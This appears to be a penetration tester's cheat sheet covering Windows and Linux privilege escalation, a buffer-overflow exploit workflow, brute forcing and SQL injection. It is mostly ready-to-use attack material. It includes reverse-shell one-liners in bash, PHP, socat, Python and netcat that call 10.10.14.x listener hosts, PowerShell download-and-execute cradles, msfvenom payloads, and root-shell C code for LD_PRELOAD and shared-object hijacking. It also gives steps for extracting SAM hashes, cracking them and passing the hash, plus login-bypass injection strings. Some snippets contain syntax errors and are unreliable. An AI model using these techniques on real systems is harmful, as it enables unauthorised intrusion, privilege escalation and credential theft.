Windows Priv Esc

To Start

1. Enumeration
   1) Systeminfo
   2) winPEAS
   3) WATSON
   4) Sherlock.ps1
      1- Load file onto system
      2- powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1; Find-AllVulns}"
   5) PowerUp.ps1
      1- Load file onto system
      2- powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
   7) Seatbelt.exe

IMPORTANT GROUPS
NT AUTHORITY\INTERACTIVE - All users who can log onto the system locally

PS Downloader
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.30:80/Sherlock.ps1')"

powershell Invoke-Webrequest -OutFile C:\Windows\System32\spool\drivers\color\PowerUp.ps1 -Uri http://10.10.14.23:80/-PowerUp.ps1

KERNEL EXPLOITS

CMD:
systeminfo

TOOLS:
Windows Exploit Suggester: WESNG
   - iN BASH: python wes.py /systeminfo.txt -i 'Elevation of Privilege' --exploits-only | more
Precompiled Kernel Exploits: https://github.com/SecWiki/windows-kernel-exploits
WATSON

\\10.10.14.30\a\ms15-051x64.exe nc.exe -e cmd 10.10.14.30 4444

SERVICE EXPLOITS

Service Commands

Query the config of a servce>	sc.exe qc <service name>
Query the currnet status of a service>	sc.exe query
Modify the configuration option of a service>	sc.exe config <service name> <options>= <value>
Start/Stop a service>	net start/stop <name>

Insecure Service Permissions - We can modify a service configuration
1. Run winpeas; Identify modifiable services
2. Run accesschk.exe to validate results
   1) .\accesschk.exe /accepteula -ewcqv user <service name>
3. Query the service configuration
   1) sc qc <service name>
4. Modify the binpath
   1) sc config <service name> binpath= "\"C:\temp\reverse.exe""
5. Start Kali listener
6. net start <service name>

Unquoted Service Path - Absolute paths with spaces can be interpreted as arguments
1. Check winpeas
2. Validate permissions to start the service
   1) .\accesschk.exe /accepteula -ucqv user <service name>

3. Validate permissions on each potentially writeable directory (Looking for RW BUILTIN\Users)
   1) .\accesschk.exe /accepteula -uwdq C:\
   2) .\accesschk.exe /accepteula -uwdq “C:\Program Files\”
   3) .\accesschk.exe /accepteula -uwdq “C:\Program Files\Unquoted Path Service\”
4. Copy exe shell named the same as the service into the earliest writeable directory
   1) copy reverse.exe “C:\Program Files\Unquoted Path Service\<service>.exe”
5. Start Kali Listener
6. net start <service name>

Weak Registry Permissions - If registry key of a service can be modified, it can allow config modifications
1. Check winpeas
2. Verify permissions using either powershell or accesschk
   1) POWERSHELL VERSION:
      1- powershell exec bypass
      2- Get-Acl HKLM:\System\CurrentControlSet\Services\<Service Name> | Format-List
   2) ACCESSCHK VERSION> .\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\<service>
3. Verify we can start the service
   1) .\accesschk.exe /accepteula -ucqv user <service>
4. Query current values in the service registry
   1) reg query HKLM\SYSTEM\CurrentControlSet\services\<service>
5. Overwrite the ImagePath in registry
   1) reg add HKLM\SYSTEM\CurrentControlSet\services\<service> /v ImagePath /t REG_EXPAND_SZ /d C:-
\temp\reverse.exe /f
6. Start Kali Listener
7. net start <service>
8. OPTIONAL: Copy orginal exe back in the case of a real world engagement

Insecure Service Executables - Simply overwrite the service executable
1. Check winpeas for File Permissions: Everyone [AllAccess]
2. Verify with accesschk
   1) .\accesschk.exe /accepteula -quvw “C:\Program Files\<directories to <service>.exe>”
3. Verify we can start the service
   1) .\accesschk.exe /accepteula -ucqv user <service>
4. Backup the Service Executable
   1) copy “C:\Program Files\<directories to <service>.exe>” C:\Temp
5. Copy our reverse shell exe and overwrite the service exe
   1) copy /Y C:\temp\reverse.exe "C:\Program Files\<directories to <service>.exe>”
6. Set up Kali Listener
7. net start <service>

DLL Hijacking - If a DLL is loaded with absolute path that is writeable to user, it is possible to write to that DLL or path. This is a much more manual process than above privesc. Typically these are non-microsoft services.
1. Check winpeas
2. Query services that user has start/stop on
   1) .\accesschk.exe -uvqc user <service>
3. Query services from this list
   1) sc qc dllsvc
4. Transfer exe to a controlled machine for analysis
5. On Controlled Machine:
   1) Run Procmon64 as admin
   2) Ctr-L to service by processname for <service.exe>
   3) Start Capture
   4) Start Service
   5) Find NAME NOT FOUND error for specific .dll being called.
   6) Find a directory that it searches for this file that can be written to
6. Create a reverse shell with MSFVENOM using DLL format
   1) msfvenom -p window/shell_reverse_tcp LHOST=<my ip> LPORT=4444 -f dll -o /
7. Copy this to the previously identified searched directory that is writeable
8. Start Kali Listener
9. Stop & Start the service on victim

REGISTRY EXPLOITS

Autorun Exploit - Overwriting AutoRun executables and restarting the system
1. Run Winpeas
2. Manually query autorun programs

1) query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
3. Run accesschk on each identified autorun exe
1) accesschk.exe /accepteula -wvu “C:\Program Files\Autorun Program\<program>.exe”
4. Copy shell exe file over the <program>.exe
5. Set up nc listener on Kali
6. Restart Windows
7. On restart we get a shell!!!!

AlwaysInstallElevated - MSI installer files may run with elevated privileges
NOTE: Only works if this registry setting is enabled for both the current user and the local machine.
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
1. Run winPEAS
2. Query registry for keys
1) query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
3. Generate an msfvenom payload that is MSI format
4. Set up listener on Kali machine
5. Copy and execute the malicious MSI file

PASSWORDS

Registry - Some passwords may be stored in plaintext in the registry
1. Query the registry for keys and values that contain passwords
1) reg query HKLM /f password /t REG_SZ /s
2) reg query HKCU /f password /t REG_SZ /s

Configuration Files
1. Search configuration files
1) dir /s *pass* == *.config
2) findstr /si password *.xml *.ini *.tx

SAM - Security Account Manager stores password hashes that are encrypted with a key found in the SYSTEM file. With both SAM and SYSTEM files, you can extract the hashes.
1. Typically located in the C:\Windows\System32\config ----However this is locked while the system is running.
1) Backups may exist in the C:\Windows\Repair OR C:\Windows\System32\config\RegBack
2. Once files are copied to Kali, use PWDump from creddump7
1) pwdump.py /myfolder/SYSTEM /myfolder/SAM
3. Crack the wanted NTLM hash with hashcat
1) hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt

Pass the Hash
1. Utilizing pth-winexe to provide the username and hash
1) pth-winexe --system -U <entire hash> //Ip.Address.To.Attack cmd.exe

SCHEDULED TASKS

COMMANDS
List all scheduled tasks>
1) schtasks /query /fo LIST /v
2) Get-ScheduledTask | where {$_.TaskPath -notlike “\Microsoft*”} | ft TaskName, TaskPath, State
3) Find a writeable script that is scheduled

INSECURE GUI APPS

Older versions of windows may grant admin privileges to certain gui applications
1. tasklist /v
2. open file function on app may allow file://c:/windows/system32/cmd.exe

STARTUP APPS

Startup directory for apps that should start for all users: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
If we can create files in this directory, we can generate a reverse shell executable and then wait for an admin to login.
Files in this directory must be link files to an actual target path.

INSTALLED APPLICATIONS

HOT POTATO

Spoofing attack combined with an NTLM relay attack to gain system privileges
Works on Windows 7, 8, and early versions of WIN10 & Server Counterparts

potato.exe

TOKEN IMPERSONATION

whoami /priv
SeImpersonate
SeAssign

SERVICE ACCOUNTS
ROTTEN POTATO - ALLOWS SERVICE ACCOUNT TO INTERCEPT SYSTEM USER
JUICY POTATO is the newer version (Fixed on latest versions of WIN10)
Rogue Potato is another new variation

PORT FORWARDING

plink.exe

Linux Priv Esc

General Notes
python -c 'import pty; pty.spawn("/bin/bash")'

bash -i >& /dev/tcp/10.10.14.23/8888 0>&1

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.23/4444 0>&1'");

Linux executable is .elf for MSFVENOM

FOR 64BIT > gcc -g -c <exploit.c> -fPIC

Some exploits may require dos2unix

ESSENTIAL TOOLS
1. Linux Smart Enumeration (lse.sh)
2. LinEmun
3. Linux-exploit-suggester-2

Other TOOLS
linuxprivchecker
beroot
unix-privesc-check

Check NFS
use nse

KERNEL EXPLOITS

1. Enumerate Kernel Version
   1) uname -a
2. Search for Exploits
   1) searchsploit
   2) linux-exploit-suggester-2
   3) google
3. Compile & run them

SERVICE EXPLOITS

EXPLOITING SERVICES RUNNNING AS ROOT

1. List services running
   1) ps aux | grep "root"
2. Identify versions
   1) <program> --version
   2) dpkg -l | grep <program> #DEBIAN
   3) rpm -qa | grep <program>
3. Find an exploit
4. Compile and run

PORT FORWARDING
Some services may be bound to an internal port (127.0.0.1:8888)
1. netstat

If you cannot run the exploit locally, then you can forward the port using SSH to your local machine.
2. ssh -R <local-port>:127.0.0.1:<service-port> <username>@<local-machine>

WEAK FILE PERMISSIONS

READABLE /ETC/SHADOW FILE
1. Copy the hash (Between the two colons) root**:**<HASH>**:**othershit
2. Save the hash > hash.txt
3. Run JTR
   1) john --format=sh512crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
4. Once cracked, switch user to root
   1) su root

WRITEABLE /ETC/SHADOW
1. Generate a new password hash
   1) mkpasswd -m sha-512 <newpassword>
2. Replace existing hash with new hash

WRITEABLE /ETC/PASSWD
Passwd file takes precedence over the hash in the shadow file
You may also be able to apped passwd with a new user that has UID=0
In some cases you can delete the x which can be interpreted as having no password

BACKUPS
Backup files may contain old passwd or shadow files
Possibly found in the following directories:
/

/tmp
/var/backups

SUDO

/etc/sudoers contains sudo config

sudo <program
sudo -u <username> <program>
sudo -l

sudo su
sudo -s
sudo -i
sudo /bin/bash
sudo passwd

SHELL ESCAPE SEQUENCES - When SUDO is restricted to certain programs, you may be able to escape those programs and spawn a shell
A list of programs with their shell escape sequences can be found at **http://gtfobins.github.io**

ABUSING INTENDED FUNCTIONALITY - Some programs may allow for reading or writing sensitive files

----- ENVIRONMENT VARIABLES ----

LD_PRELOAD - can be set to the path of a shared object (.so) file; By creating a shared object and creating an init() function, we can execute code as soon as the object is loaded
1. the env_keep+=LD_PRELOAD option must be set
2. vim preload.c

------ START SCRIPT -----

```
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
   unsetenv("LD_PRELOAD");
   setresuid(0,0,0);
   system("/bin/bash" -p");
}
```

----BREAK------

3. Compile
   1) gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
4. Run a SUDO command with the LD_PRELOAD set
   1) sudo LD_PRELOAD=/tmp/preload.so find

LD_LIBRARY PATH - contains directories where shared libraries are searched for first. By creating a new LD_LIBRARY_PATH and creating our own version of the called library, we can get code execution. This is similar to DLL hijacking on WINDOWS.

1. Show the libraries used by a SUDO program
   1) ldd /usr/sbin/<program>
2. vim the previously mentioned script above
3. Compile with the name of the library
   1) gcc -o <library name> -shared -fPIC library_path.c
4. sudo LD_LIBRARY_PATH=. apache2

CRON JOBS

crontab -l

crontabs are usually located in:
USERS CRONTABS
/var/spool/cron/
/var/spool/cron/crontabs/
SYSTEM-WIDE CRONTRAB
/etc/crontab

File Permissions - misconfiguration of file permissions can allow you to modify the program or script that is executed by a cron job
1. Find cronjob running as root in one of the above locations
2. Modifiy the file being executed
   1) bash -i >& /dev/tcp/10.10.14.23/4444 0>&1
3. Set up listener
4. Wait for cron to run on schedule

PATH Environment Variable - If the cron job does not use an absolute path and one of the PATH directories is writeable, we can create a program with the same name as the cronjob
Default path is /usr/bin:/bin
1. Create program or script with the same name in a sooner checked directory
2. chmod +x the new file
3. Wait for execution

WILDCARDS
1. cat the crontab file
2. find a cronscript that executes using the wildcard character (*)
3. Use GTFOBIN to find an exploit where you can add arguments to a command after the * is used

SUID / SGID Files

SUID - Executes with the privileges of the owner
SGID - Executes with the privileges of the group

The following command with locate files with SUID and SGID set:
find / -type f -a \(-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Search GTFOBINS for SUID and SGID abuse on each of the programs listed
Use searchsploit, google, and github for exploits to uncommon programs

SHARED OBJECT INJECTION - When a program is executed it will try to load the shared objects it requires. Using strace, we can track these system calls.
If a shared object is not found in the initial location, we may be able to write a new progam at that location with the shared object name.
1. strace <SUID Program> 2>&1 | grep -iE “open|access|no such file”
2. If any of the unfound files are within a writeable directory, we can create it to spawn root shell
3. vim <sharedobject>.c

------ START SCRIPT -----

```
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));
void inject() {
    setsuid(0);
    system("/bin/bash" -p");
}
```

----BREAK------

4. Compile
   1) gcc -fPIC -shared -o <sharedobject>.so <sharedobject>.c
5. Run the SUID program and wait for the shared object call

PATH ENVIRONMENT VARIABLE - If a SUID program references another program without utilizing the absolute path, we can create an executable with the same name along the path

1. Run strings on the program
OR
1. Run strace on the program
OR
1. Run ltrace on the program
2. For example, if the SUID program runs “service apache2 start” ; We can write an executable called service within our PATH and it will be executed before the system finds /bin/service
3. Generate the malicious executable
   1) vim service.c

------ START SCRIPT -----

```
int main() {
    setuid(0);
    system("/bin/bash -p");
}
```

----BREAK------

4. Compile
   1) gcc -o service servic.c
5. Define PATH variable ad call the SUID program
   1) PATH=.:$PATH <SUID program absolute path>

BASH FUNCTIONS < BASH 4.2 - In older versions of bash, users can define their own functions that take precedent over executables.
1. Find a program being called by the SUID program (ex: /usr/sbin/service apache2 start
2. Generate a function with the same name
   1) function /usr/sbin/service { /bin/bash -p;}
   2) export -f /usr/sbin/service
3. Execute the SUID file

BOF

--------- SETUP SECTION ----------

In Immunity:
File > Open
Open & Run application (F9)
Configure Mona
   1) `!mona config -set workingfolder c:\mona\%p`

On KALI:
Fuzz for the vulnerable command & overflow distance with fuzzer.py
   Make a note of the length of bytes that were sent.

Generate a pattern of that length:
   1) `/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <LENGTH OF BYTES>`
   2) Place this into the payload variable of exploit.py

In Immunity:
Reopen & restart the vulnerable program

On KALI:
Run exploit.py

In Immunity:
`!mona findmsp -distance <LENGTH OF BYTES>`
Make note of the EIP offset

On KALI:
Set this offset as the offset variable in exploit.py
Set the payload variable to empty string

Set the retn variable to BBBB

------- BAD CHARS SECTION -------

In Immunity:
Generate a mona bytearray with “\x00” by default
1) `!mona bytearray -b "\x00"`

On KALI:
Run badchars.py
Set the output of all possible characters to the payload variable in exploit.py

Immunity:
Restart the vulnerable app

KALI:
Run exploit.py

------- START LOOP -----

Immunity:
Make note of the ESP register address
`!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP address>`
This should give you a result of bad chars. Only eliminate the first if there are two bad chars next to each other as a bad char can affect the following char.
Generate a new mona byte array of the badchars
1) `!mona bytearray -b "\x00 <Additional Bad Chars>"`

KALI:
Remove any badchars from the payload variable of exploit.py

Immunity:
Restart the vulnerable app

KALI:
Run exploit.py

Repeat as needed until the mona compare command gives a result of "Unmodified"

----- END LOOP ----

------- JMP & PAYLOAD SECTION ------

Immunity:
With vulnerable app crashed, identify JMP ESP addresses that do not contain our badchars
1) `!mona jmp -r esp -cpb "\x00 <bad chars>"`
Find a good JMP ESP address and make note

KALI:
Make the JMP ESP address the value for the retn variable, but written backwards for little endian format. (\x44\x33\x22\x11)
Generate payload
1) `msfvenom -p windows/shell_reverse_tcp LHOST=YOUR_IP LPORT=4444 EXITFUNC=thread -b "\x00<BAD CHARS>" -f py -v payload`
Set the output equal to the payload variable
Add NOP padding for the payload to have room to unpack itself
padding = “\x90” * 16
Start nc listener on 4444
Run exploit.py

WEB APP

https://book.hacktricks.xyz/

https://github.com/payloadbox/ssti-payloads

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.23:4444

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.23",-9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

BRUTE FORCE

HYDRA
hydra -L admin%40doctor.htb -P /usr/share/wordlists/rockyou.txt doctors.htb http-post-form "/-login:email=^USER^&password=^PASS^&submit=Login:Nope, no such luck"

SQL INJECTIONS

click me	**click me**	**click me**
tom	tom	SELECT * FROM users WHERE name='tom' and password='tom'
tom	' or '1'='1	SELECT * FROM users WHERE name='tom' and password='' or '1'='1'
tom	' or 1='1	SELECT * FROM users WHERE name='tom' and password='' or 1='1'
tom	1' or 1=1 -- -	SELECT * FROM users WHERE name='tom' and password='' or 1=1-- -'
' or '1'='1	' or '1'='1	SELECT * FROM users WHERE name='' or '1'='1' and password='' or '1'='1'
' or ' 1=1	' or ' 1=1	SELECT * FROM users WHERE name='' or ' 1=1' and password='' or ' 1=1'
1' or 1=1 -- -	blah	SELECT * FROM users WHERE name='1' or 1=1 -- -' and password='blah'